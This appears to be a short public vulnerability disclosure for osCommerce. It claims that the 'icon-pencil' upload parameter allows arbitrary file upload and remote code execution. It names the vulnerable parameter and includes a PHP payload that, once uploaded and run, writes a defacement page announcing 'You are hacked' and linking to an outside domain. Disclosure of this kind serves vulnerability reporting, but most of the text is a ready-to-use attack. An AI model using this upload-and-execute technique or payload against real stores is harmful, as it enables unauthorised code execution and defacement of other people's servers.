## Author: nu11secur1ty
## Date: 12/14/2023
## Vendor: https://www.oscommerce.com/
## Software: https://www.oscommerce.com/download-file
## Reference: https://portswigger.net/web-security/file-upload
## Description:
The parameter "icon-pencil"  in the upload-file dz-clickable function
is vulnerable for File upload and Remote Code Execution then!
The attacker easily can destroy this system if he is a kracker, grey
hat, or some kind of stupid kid. More:
{https://portswigger.net/web-security/file-upload}. In this scenario,
I just uploaded a PHP exploit which created a second file directly on
the server and then I executed it DIRECTLY on the
server, by using just a browser. This can be executed with more
methods but we can talk about it later. =)
STATUS: CRITICAL Vulnerability
[+]Exploit:
```
<?php
// @nu11secur1ty 2023
$myfile = fopen("hacked.html", "w") or die("Unable to open file!");
$txt = "<p>You are hacked</p>\n";
fwrite($myfile, $txt);
$txt = "<p><p>This is not good for you</p>\n<a
href='https://sell.sawbrokers.com/domain/malicious.com/'target='_blank'>You
can visit our website for more information!</a></p>\n";
fwrite($myfile, $txt);
fclose($myfile);
?>
